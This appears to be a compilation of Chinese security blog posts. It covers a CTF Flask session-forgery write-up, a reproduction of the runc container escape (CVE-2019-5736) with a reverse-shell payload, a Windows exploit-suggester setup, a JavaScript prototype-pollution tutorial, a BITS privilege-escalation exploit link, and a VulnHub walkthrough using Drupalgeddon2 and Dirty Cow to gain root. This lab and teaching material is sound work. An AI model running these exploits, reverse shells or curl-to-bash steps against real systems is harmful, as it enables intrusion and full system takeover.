考点:flask session伪造

注册任意用户后登录,源代码中看到提示你不是admin,所以需要成为admin用户。同时在change目录下源代码看到该题源码的github地址。

想要伪造session,需要先了解一下flask中session是怎么构造的。
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 类似于Cookie伪造。

利用EditThisCookie插件取出session值,利用脚本进行解码

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
    return session_json_serializer.loads(payload)
if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

​但是如果我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,然后我们在config.py里发现了SECRET_KEY

然后在index.html页面发现只要session[‘name’] == ‘admin’即可以得到flag

利用 flask session加密的脚本 https://github.com/noraj/flask-session-cookie-manager 并将刚刚解密的session中的name值改为admin

最后利用EditThisCookie替换该session刷新得到flag。

0x00 概述

2019年2月11日,runc的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现。该漏洞编号为CVE-2019-5736,漏洞影响在默认设置下运行的Docker容器,并且攻击者可以使用它来获得主机上的root级访问权限。

0x01 漏洞原理

漏洞点在于runc,runc是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runc主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。
像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runc来处理与运行容器相关的任务:创建容器、将进程附加到现有容等。
在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc二进制文件,攻击者可以在宿主机上以root身份执行命令。

0x02 利用方式

宿主机利用攻击者提供的image来创建一个新的container 。
拥有container root权限,并且该container后续被docker exec attach。

一句话描述,docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

0x03 漏洞复现

一、安装漏洞环境。(Ubuntu16.04)
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

第一遍安装完Docker后拉取镜像会异常缓慢,可【Ctrl】+【C】终止后添加Docker加速源

systemctl daemon-reload
service docker restart

配置完加速源后,再重新运行bash install.sh拉取镜像时就快了,完成后就进入了开启的docker容器中了。

再看下此时的漏洞环境,docker和docker-runc版本如下:

二、编译go脚本生成攻击payload

1.下载POC: https://github.com/Frichetten/CVE-2019-5736-PoC

切换到root用户或以root用户身份编译main.go文件:sudo gedit main.go

2.修改Payload中的内容,写入一个反弹Shell的代码,其中打码部分是我服务器的IP

编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

3.将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸) 并执行

docker cp main c37c910028ae:/home
docker exec -it c37c910028ae bash
cd /home/
chmod 777 main
./main

4.在服务器上利用NetCat监听8888端口

5.【Ctrl】+【Shift】+【T】新建一个终端,进入Docker容器中,触发Payload

6.运行后可以看到之前的终端中有回显同时服务器处收到反弹Shell

此时查看IP也会发现该IP是运行Docker的ubuntu16.04的IP,所以成功实现了Docker容器的逃逸。

0x00 前言

Windows-Exploit-Suggester是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,其官方下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester,它是用python开发而成,且必须安装xlrd库(https://pypi.python.org/pypi/xlrd),其主要功能是通过比对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。

0x01 实现原理

Windows-Exploit-Suggester通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件,然后根据操作系统版本,跟systeminfo生成的文件进行比对。微软公开漏洞库下载地址:

http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。

0x02 安装

首先从官网下载该脚本,放置到Kali中,安装xlrd库,pip install xlrd。

然后更新下漏洞库,但是因为走国外链接,所以更新总是失败,所以想到Kali搭配SSR,实现漏洞库更新。开始安装SSR:

wget https://nico.cc/files/softs/SSR/ssr
mv ssr /usr/local/bin
chmod 766 /usr/local/bin/ssr
ssr install
ssr config

配置信息与SSR的配置信息对应即可

保存退出后就成功配置完毕了。因为信息敏感这里不放ssr config的图了,英文好的都可以看懂。接下来配置proxychains

vim /etc/proxychains.conf

将dynamic_chain前面的注释去掉,再将[ProxyList]下的socks4 改为socks5,并且127.0.0.1后面的端口改为1080

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

然后执行proxyresolv www.google.com 出现ok即可

接下来开启火狐proxychains firefox,访问谷歌,能够使用谷歌搜索东西即为成功。

配置完毕后使用proxychains更新数据库

再用Win7做个测试,打开cmd命令窗口输入:systeminfo > win7.txt。实际渗透通过Shell管理工具执行命令保存。把win7.txt传到Kali中,再输入python windows-exploit-suggester.py –database 2020-07-14-mssb.xls –systeminfo win7.txt,成功看到可利用内容。

0x00 前言

因为在CTF中时常也会考察原型链污染的问题,以前也一直让我捉襟见肘,一直没有系统的学习了解过JS原型的这些相关概念,因此写下本文,通过不断总结大佬的文章,写出自己对于此部分内容的理解。同时建议学习本文前要有对面向对象部分知识的一定理解(无论哪种语言)。

JavaScript没有”子类”和”父类”的概念,也没有”类”(class)和”实例(instance)的区分,全靠一种很奇特的”原型链”(prototype chain)模式,来实现继承。 在javascript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype。

0x01 JavaScript原型

一、对象和函数

在学习原型和原型链之前,首先一定要搞清楚对象和函数到底有什么区别和联系:

“对象是由函数创建的,而函数又是一种对象。”这样一句话要深刻记忆。

我们都知道JavaScript可以在浏览器中使用“F12”打开的控制台中输入JavaScript代码进行执行,但也要知道其实在浏览器中已经内置了几个全局函数可供随时调用,如:Number()、String()、Boolean()、Object()等 。

在JavaScript中声明一种数据类型的变量时其实有以下两种方式,而第一种可以更直观的体现对象和函数之间的关系,但第二种在各种语言中都较为常用。

// 声明一个字符串类型的变量
var str = new String('hello');  // 使用String()函数来创建一个string对象
// 声明一个数值类型的变量
var num = new Number(123);     // 使用Number()函数来创建一个number对象
// 声明一个布尔类型的变量
var b = new Boolean(true);     // 使用Boolean()函数来创建一个boolean对象
// 声明一个字符串类型的变量
var str = 'hello';          // 用字符串字面量形式创建string对象
// 声明一个数值类型的变量
var num = 123;              // 用数值字面量形式创建number对象
// 声明一个布尔类型的变量
var b = true;               // 用布尔字面量形式创建boolean对象

​但第二种虽然我们是用赋值形式创建的,但在JavaScript的内部,则仍然是通过调用函数来创建对象的。也就是说他们是一样的。

而对于“函数又是一种对象”这句话,也可以使用 instanceof 关键字来验证:

instanceof 的作用是判断一个对象是不是一个函数的实例。
比如 obj instanceof fn
实际上是判断fn的prototype是不是在obj的原型链上。
比如:
obj.__proto__ === fn.prototype
obj. __proto__.__proto__=== fn.prototype
obj. __proto__ … __proto__ === fn.prototype
以上只要一个成立即可。

以上这个内容如果现在看不懂,不要着急后面会解释什么是原型、原型链和__proto__属性。

二、原型(共有属性):__proto__

首先定义个对象:var str = new String(‘hello’); 输出看看该对象中包含哪些属性:

再创建一个num对象。

可以看到两个不同的对象,但都存在__proto__属性。再看以下例子:

肯定会疑惑valueOf和toString方法是哪里来的呢,其实这两个方法也都是在__proto__属性中带来的,打开__proto__的指向箭头就可以看到

总结:不只是str和num对象,每个对象中都有__proto__属性,JavaScript将这些对象(如:Number(函数也是对象))中的共有属性,拿了出来,全都集中到一个新的对象(num)中。而新对象中,就保存着一个__proto__,指向这个原对象。

而__proto__所指向的这个原对象,也叫做原型对象。后文会继续解释。

而既然存在共有属性,那也一定存在独有属性。string对象有string对象的属性是其他对象没有的;number对象有number对象的属性是其他对象没的;boolean对象有boolean对象的属性是其他对象没有的;以此类推。 那这个“独有对象”又是保存在哪儿的呢?我们来看看什么是prototype。

三、函数的原型(prototype)

上面说到,__proto__是每个对象都有的属性,那么要区别记住的是prototype是函数才有的属性。

再继续了解prototype属性前再补充学习几个知识点:

1-什么是构造函数

Person就是一个构造函数,我们使用 new 创建了一个实例对象 person

2-constructor属性

接着按照刚刚的例子查看Person和person的结构输出。

可以看到person的构造函数Person存在的原型包含一个constructor属性。接下来记住一句话:“每个原型(prototype)都有一个 constructor 属性指向关联的构造函数,实例原型指向构造函数 ”。再看person的结果中__proto__属性所指的constructor属性也是与之关联的构造函数,而对于该例中,它的构造函数就是function Person()函数,因此整个结构图如下图所示。

所以以下代码是成立的

function Person() {
}
var person = new Person();
console.log(person.__proto__ == Person.prototype) // true
console.log(Person.prototype.constructor == Person) // true

0x02 JavaScript原型链

其实当认真理解完上面的内容,原型链的概念就基本清楚了,以下总结出几点:

1-从上面的代码中可以看到,创建person对象虽然使用的是由构造函数Person创建,但是对象创建出来之后,这个person对象其实已经与Person构造函数没有任何关系了,person对象的__proto__属性指向的是Person构造函数的原型对象(Person.prototype)。
2-如果使用new Person()创建多个对象person1、person2、person3,则多个对象都会同时指向Person构造函数的原型对象。
3-我们可以手动给这个原型对象添加属性和方法,那么person1、person2、person3这些对象就会共享这些在构造函数的原型对象中添加的属性和方法。
4-如果我们访问person中的一个属性name,如果在person对象中找到,则直接返回。如果person对象中没有找到,则直接去person对象的__proto__属性指向的原型对象中查找,如果查找到则返回。(如果原型中也没有找到,则继续向上找原型的原型—原型链),直到最高级Object的__proto__为Null为止。
5-如果通过person对象添加了一个属性name,则通过person访问name时,就相当于屏蔽了原型中的属性name,输出的是person对象中的name值
6-通过person对象只能读取构造函数的原型中的属性name值,而不能修改原型中的属性name值。 person.name = “purplet”; 并不是修改了原型中的值,而是在person对象中给添加了一个属性name。

下面可以把原型、原型链的关系当作一个公式一般去记忆:

var 对象 = new 函数()     
对象.__proto__ === 对象的构造函数.prototype

// 推论
var str = new String()      // 前面的str是对象,后面的String是函数
str.__proto__ === String.prototype()
String.__proto__ === Function.prototype   // 因为 String 是 Function 的实例

var number = new Number()    // 前面的number是对象,后面的Number是函数
number.__proto__ === Number.prototype
Number.__proto__ === Function.prototype // 因为 Number 是 Function 的实例

var object = new Object()     // 前面的object是对象,后面的Object是函数
object.__proto__ === Object.prototype
Object.__proto__ === Function.prototype // 因为 Object 是 Function 的实例

var function = new Function()     // 前面的function是对象,后面的Function是函数
function.__proto__ === Function.prototype
Function.__proto__ === Function.prototye // 因为 Function 是 Function 的实例!

由于__proto__是任何对象都有的属性,而JavaScript里万物皆对象,所以会形成一条__proto__连起来的链条,但递归访问__proto__必须最终到头,其终点是Null
当JavaScript引擎查找对象的属性时,先查找对象本身是否存在该属性,如果不存在,会在原型链上查找,但不会查找自身的prototype,如图所示。

0x03 JavaScript原型链污染

在看懂原型链的那几点内容后,其实就应该可以理解什么是原型链污染了,就是修改其构造函数的原型中的属性值,使其他通过该构造函数实例出的对象也具有该属性值。

可以看到我们修改成功了,新生成的 foo2 对象也具有hacker 属性,如果给foo1再往上加一个__proto__就可以修改(添加)Object的属性了。

那么在哪些情况下原型链会存在污染

这里我引用郁离歌师傅的博客内容了。

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

0x04 文章参考

https://www.zhihu.com/tardis/sogou/art/44035916

https://www.jianshu.com/p/be7c95714586

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04

0x00 漏洞描述

Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Background Intelligent Transfer Service(BITS)是其中的一个后台智能传输服务组件。Microsoft Windows Background Intelligent Transfer Service中存在提权漏洞,该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件,提升权限。

以下产品及版本受到影响

Microsoft Windows 7 SP1,Windows 8.1,Windows RT 8.1,Windows 10,Windows Server 2008 SP2,Windows Server 2008 R2 SP1,Windows Server 2012,Windows Server 2012 R2,Windows Server 2016,Windows Server 2019,Windows 10版本1607,Windows 10版本1709,Windows 10版本1803,Windows 10版本1809,Windows 10版本1903,Windows 10版本1909,Windows Server版本1803,Windows Server版本1903,Windows Server版本1909。

0x01 漏洞复现

下载编译好的exe文件: https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases

将exe上传到目标机器,运行后会开启一个system权限的cmd命令框

0x00 准备

靶机下载: https://www.vulnhub.com/entry/lampiao-1,249/

双击ovf文件,导入到Vmware中,选择NAT模式

Kali:192.168.194.192

0x01 利用知识及工具

nmap、netdiscover、脏牛提权、metasploit

0x02 测试

首先netdiscover扫描同一C段:netdiscover -i eth0 -r 192.168.194.1/24,找到目标机器IP:192.168.194.144.

利用nmap的TCP半开放扫描,对网站端口进行快速探测,nmap -sS -p 1-65535 192.168.194.144,该扫描方式因为它不打开一个完全的TCP连接,所以是使用频率最高的扫描方式。扫描结果发现开放22、80、1898端口

访问Web页面(80端口),仔细检查后没得到敏感信息,再次访问1898端口访问到正确的Web页面,在结尾看到cms是Drupal

想到CVE-2018-7600,利用msf打一波,msfconsole进入,search drupal,选择2018年的这个。

use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.194.144
set rport 1898
set target 0
run

成功拿到session会话,输入shell进入shell终端,再利用python获得一个TTY终端

python -c 'import pty; pty.spawn("/bin/bash")' ,发现是www-data权限。

接下来进行提权,首先查看下内核版本:uname -a

看到版本较高,但有可能存在 CVE-2016-5195 ,也就是脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 。黑客可通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

在Kali中自带脏牛的脚本文件,新开一个终端【Ctrl】+【Shift】+【T】输入searchsploit dirty,找到需要的文件路径。

返回取得Shell的终端,按【Ctrl】+【C】返回meterpreter的session会话上传cpp文件到/tmp目录下,因为该目录一般是所有用户都具有可读可写权限

upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp

上传后再进入TTY的终端下,对cpp文件进行编译。

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

1-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4-std=c++11就是用按C++2011标准来编译的
5-pthread 在Linux中要用到多线程时,需要链接pthread库
6-o dcow gcc生成的目标文件,名字为dcow

再运行编译后文件并将结果输出到一个文本中./dcow > status.txt

可以看到重置了Root用户的密码为:dirtyCowFun

最后ssh连接以Root用户身份登录。

但是网上常用的是c文件所编译的,该文件依然在Kali中可以找到,该c文件编译后执行的结果将将新增一个root权限的用户,并增加一个对应密码。

接下来上传,进行编译,步骤同上。

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40839.c /tmp

www-data@lampiao:/tmp$ gcc -pthread 40839.c -o dirty -lcrypt

执行编译后文件进行提权./dirty password(新增的root用户的密码可自定义)

运行完毕后,看到给出了一个具有root用户权限的用户名“firefart”和我们自定义的密码“password”,再开一个终端尝试进行ssh连接。

可以看到第二个执行的c文件编译程序后新增了一个root权限的用户firefart,并在/etc/passwd中可以看到。